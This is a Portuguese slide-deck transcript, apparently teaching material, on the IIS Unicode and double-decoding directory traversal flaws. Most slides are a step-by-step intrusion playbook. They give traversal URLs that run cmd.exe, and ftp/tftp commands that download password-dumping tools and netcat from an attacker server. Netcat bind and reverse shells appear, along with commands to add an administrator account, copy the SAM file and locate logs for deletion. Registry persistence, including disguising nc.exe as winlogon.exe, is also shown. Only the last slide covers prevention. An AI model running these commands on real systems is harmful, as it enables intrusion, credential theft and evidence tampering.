A apresentação está carregando. Por favor, espere

A apresentação está carregando. Por favor, espere

Vulnerabilidade de Unicode. Primeira Vulnerabilidade IIS/PWS Extended Unicode Directory Traversal Exemplo:

Apresentações semelhantes


Apresentação em tema: "Vulnerabilidade de Unicode. Primeira Vulnerabilidade IIS/PWS Extended Unicode Directory Traversal Exemplo:"— Transcrição da apresentação:

1 Vulnerabilidade de Unicode

2 Primeira Vulnerabilidade IIS/PWS Extended Unicode Directory Traversal Exemplo: http://www.example.com/scripts/..%c0%af../winnt/ system32/cmd.exe?/c+dir Descoberta em Outubro de 2000 Reparado pela Microsoft no Security Bulletin MS00-078

3 Primeira Vulnerabilidade Problema não é necessariamente Unicode (UCS-2) Vulnerabilidade reside no UTF-8 –Unicode Transformation Format –U-00000000 - U-0000007F: 0xxxxxxx –U-00000080 - U-000007FF: 110xxxxx 10xxxxxx –U-00000800 - U-0000FFFF: 1110xxxx 10xxxxxx 10xxxxxx –U-00010000 - U-001FFFFF: 11110xxx 10xxxxxx 10xxxxxx 10xxxxxx –U-00200000 - U-03FFFFFF: 111110xx 10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx –U-04000000 - U-7FFFFFFF: 1111110x 10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx

4 Primeira Vulnerabilidade UTF-8:múltiplas representações para o mesmo caracter Exemplo: caracter / –0xAF (esta é a válida) –0xC0 0xAF –0xE0 0x80 0xAF –0xF0 0x80 0x80 0xAF –0xF8 0x80 0x80 0x80 0xAF –0xFC 0x80 0x80 0x80 0x80 0xAF Sempre deve ser usada a representação mais curta

5 Primeira Vulnerabilidade IIS/PWS Extended Unicode Directory Traversal Vulnerabilidade: –Verificação do caminho do URL (sem processar UTF-8) –Acesso ao arquivo (com processamento do UTF-8) http://www.example.com/scripts/..%c0%af../winnt/syste m32/cmd.exe?/c+dir

6 Segunda Vulnerabilidade IIS/PWS Escaped Character Decoding Correção da primeira vulnerabilidade: –Tratamento do UTF-8 –Verificação do caminho do URL (sem tratar UTF) –Acesso ao arquivo (com processamento do UTF-8) Nova vulnerabilidade: –Dupla codificação Descoberta em Maio de 2001 Reparado pela Microsoft no Security Bulletin MS01- 026

7 Segunda Vulnerabilidade Dupla codificação Exemplo: caracter \ –Representação válida: %5c –Mas % = %25, 5 = %35, c = %63 –Então tem-se: –%255c (%25 5c = % 5c) –%35%63 (% 5 c) –%25%35%63 (% 5 c) Verificação do caminho realizava uma decodificação Acesso ao arquivo realizava outra decodificação!

8 Exploração Executar o programa cmd.exe: http://www.example.com/scripts/..%c0%af../winnt/ system32/cmd.exe?/c+dir Porque copiar cmd.exe para outro diretório? Para evitar a ACL (access control list) definida para o usuário IUSR (Internet User) no diretório system32 (comando echo não criaria arquivo)

9 Exploração Como copiar arquivos para o servidor? Via ftp: "cmd /c echo user nome > ftpcom" "cmd /c echo password >> ftpcom" "cmd /c echo get samdump.dll >> ftpcom" "cmd /c echo get pdump.exe >> ftpcom" "cmd /c echo get nc.exe >> ftpcom" "cmd /c echo quit >> ftpcom" "cmd /c ftp -s:ftpcom -n servidor.dominio.net"

10 Exploração Como copiar arquivos para o servidor? Via tftp: "tftp -i ip.servidor GET nome.arquivo.exe" "tftp -i ip.servidor GET nome.arquivo.exe caminho.e.nome.local.exe" ip.servidor é o nome de uma máquina executando TFTPD (daemon de tftp)

11 Exploração Que arquivos copiar para o servidor? Novas páginas HTML (com imagens) Utilitários como NetCat (nc.exe) nc -l -p PORT -e PROGRAM –-l (listen) –-p PORT (número da porta) –-e PROGRAM (qual programa executar)

12 Exploração Usos do NetCat Como port scanner: nc -v -w2 -z target 20-30 –-v (verboso) –-w2 (tempo de espera em segundos) –target (a máquina alvo) –20-30 (intervalo de portas para scanning) –-z (zero I/O)

13 Exploração Usos do NetCat Para obter um banner: nc -v -n ip.target 80 –-v (verboso) –-n (endereço é numérico, não usa DNS) –ip.target (número IP da máquina alvo) –80 (número da porta)

14 Exploração Usos do NetCat Para instalar um backdoor (na porta 10001): Na máquina alvo: nc -l -p 10001 -e cmd.exe –-l (listen) –-p 10001 (número da porta) –-e cmd.exe (qual programa executar) Na máquina do atacante: nc -v -n ip.alvo 10001 –-v (verboso) –-n ip.alvo (número IP da máquina alvo) –10001 (número da porta)

15 Exploração Usos do NetCat Para instalar um backdoor "cliente": Na máquina do atacante: nc -l -p 10001 –-l (listen) –-p 10001 (número da porta) Na máquina alvo: nc -v -n ip.atacante 10001 -e cmd.exe –-v (verboso) –-n ip.atacante (número IP da máquina atacante) –10001 (número da porta)

16 Exploração Usos do NetCat Para transferir um arquivo: Na máquina alvo: nc -l -p 1234 >hack.txt –-l (listen) –-p 1234 (número da porta) –>hack.txt (nome do arquivo) Na máquina do atacante: nc destino 1234 { "@context": "http://schema.org", "@type": "ImageObject", "contentUrl": "http://images.slideplayer.com.br/370194/2/slides/slide_15.jpg", "name": "Exploração Usos do NetCat Para transferir um arquivo: Na máquina alvo: nc -l -p 1234 >hack.txt –-l (listen) –-p 1234 (número da porta) –>hack.txt (nome do arquivo) Na máquina do atacante: nc destino 1234 hack.txt –-l (listen) –-p 1234 (número da porta) –>hack.txt (nome do arquivo) Na máquina do atacante: nc destino 1234

17 Exploração Uma vez em um servidor Microsoft…. Para criar uma conta: "cmd /c net user testuser UgotHacked /ADD" Adicionar ao grupo de administradores: "cmd /c net localgroup Administrators testuser /ADD" Criar um a cópia do arquivo SAM: "cmd /c c:\winnt\repair\rdisk /s- " Encontrar o arquivo de log: "cmd /c dir /S c:\*W3SVC32" (Depois é só apagar ou sobrescrever)

18 Ativar o backdoor Via Registro: HKEY_LOCAL_MACHINE\Software\Microsoft\Win dows\CurrentVersion\Run HKEY_LOCAL_MACHINE\Software\Microsoft\Win dows\CurrentVersion\RunServices HKEY_CURRENT_USER\Software\Microsoft\Wind ows\CurrentVersion\Run Para maior eficácia, renomear "nc.exe" para algo menos suspeito, como "winlogon.exe" :-)

19 Ativar o backdoor Via comando AT (Schedule): AT [\\computername] time [/EVERY:date] [/NEXT:date] "command" \\computername : nome do computador remoto, ou computador local, se omitido time : hora quando o comando deve ser executado /EVERY:date : dia do mês (ou semana) /NEXT:date : dia do mês (ou semana) "command": comando Windows ou arquivo batch a executar

20 Prevenção De acordo com a própria Microsoft: Install your web folders on a drive other than the system drive Eliminate all sample files and unneeded features from your site Move, rename or delete any command-line utilities that could assist an attacker, and set restrictive permissions on them Be sure that the IUSR_machinename account does not have write access to any files on your system


Carregar ppt "Vulnerabilidade de Unicode. Primeira Vulnerabilidade IIS/PWS Extended Unicode Directory Traversal Exemplo:"

Apresentações semelhantes


Anúncios Google